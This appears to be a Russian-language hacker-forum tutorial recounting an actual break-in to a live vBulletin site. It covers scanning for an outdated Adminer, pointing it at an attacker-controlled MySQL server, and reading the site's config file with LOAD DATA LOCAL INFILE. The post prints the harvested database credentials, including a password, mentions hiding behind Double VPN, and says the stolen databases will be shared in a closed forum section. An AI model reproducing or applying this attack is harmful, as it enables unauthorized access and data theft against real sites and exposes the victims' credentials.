Началось все с новости в канале:

Ну что ж, таргет у нас есть, давайте им займемся. Прошло менее 72 часов, значит наши шансы на похек еще велики.

I. Исследование
Для начала нам нужно подумать каким образом была получена база данных. Это может быть:
  • Тупой adminer
  • RCE в приложении
  • SQL-Injection со всеми вытекающими
  • Брут mysql/mariadb или уязвимая версия ПО
Для начального исследование нам нужно выбрать один из автоматических инструментов: Acunetix или Netsparker.
Мной был выбран Acunetix ввиду того, что он у нашей команды предустановлен уже на сервере.

Отправим ручками таргет и выберем только SQL-Inj на скане:
1616332767768.png

Через не продолжительное время, а точнее сразу вылетает первый серьезный алерт
1616332846238.png


1616332861710.png

Как мы видим, у нас adminer старой версии. Теперь мы знаем вектор для атаки и можем ее провести.

II. Атака
Для проведения атаки нам потребуется mysql сервер, желательно удаленный, но можно развернуть и на локалке с использованием локальной сети также можно осуществить данную атаку. Мы не будем разворачивать сервер внутри нашей сети, мы воспользуемся удаленным.

Требования для проведения атаки:
  1. Прямые руки
  2. Удаленный сервер с установленным ПО: mysql/mariadb
  3. Настроенный пользователь для удаленного подключения
  4. Double VPN подключение
Начнем с последнего пункта, чтобы в последующем при нарушении первого пункта не было похека жопы.
1616333440340.png


Приступим.

Сначала нам нужно создать базу данных и пользователя и настроить последнего на удаленный доступ. Я же опущу этот пункт, чтобы было меньше вхождений в тему, так как такую банальную вещь вы должны уже уметь делать.

Создаем базу данных и таблицу:

SQL:
CREATE DATABASE `admin_db`;

CREATE TABLE admin_db.angel (
  dark_time_com varchar(255) DEFAULT NULL
)
ENGINE = INNODB,
CHARACTER SET utf8,
COLLATE utf8_general_ci;
Далее мы подключаемся через наши данные от mysql через adminer. Это выглядит следующим образом:
1616333737347.png

(Данные вбиты исключительно для демонстрации, в реальности совсем иные)

Ура, мы вошли!
1616333863392.png

Нас встречает наша созданная таблица, которую я затер, так как имя отличается от того, что в статье.

Прежде чем начать читать корень сайта, давайте посмотрим, что это за сайт:
1616333987889.png

Отлично, это булка! В булке конфиг лежит по следующему пути: includes/config.php

Теперь мы переходим в SQL command и вводим следующий SQL запрос, который прочтет файл и запишет его в нашу базу данных:
SQL:
load data local infile 'includes/config.php'
into table angel
fields terminated by "\n"
Вывод при удачном запросе:

1616334110282.png

Теперь переходим уже в нашу таблицу и начинаем построчно читать, что нам туда вообще упало.
Такой длинный листинг я спрячу под спойлер ниже, а под него закину только интересующие нас данные.
1616334288003.png

Из этого безобразия, нам интересен лишь этот момент:
1616334342228.png

Вот и входные данные в базу данных. Теперь дело остается за малым - вход в adminer под этими данными:
Код:
$config['MasterServer']['servername'] = 'localhost';
$config['MasterServer']['port'] = 3306;
$config['MasterServer']['username'] = 'expat_fuser_db';
$config['MasterServer']['password'] = 'E5x2R8v6'; //E5x2R8v6
Подтверждение об успешной проведенной атаки и наличии баз данных:
1616334506832.png

Вот и весь туториал по самому тупому похеку adminer`a до версии 4.6.2 включительно.


III. Заключение
Хочется сказать, что работать по РУ нельзя не при каких обстоятельствах, но нужно всем учиться на нормальных примерах, а не на боксах, так как это не интересно и есть огромное желание заглянуть в туториал.
Администраторам: никогда не используйте adminer и вообще никакие другие панели управления сервером. Если вы их используете - отключайте потом.

Весь похек занимает не более 5ти минут, а написание данной статьи более 30 минут.
Все базы данных будут лежать в закрытом разделе, который посвящен работе по РФ.
1616335242181.png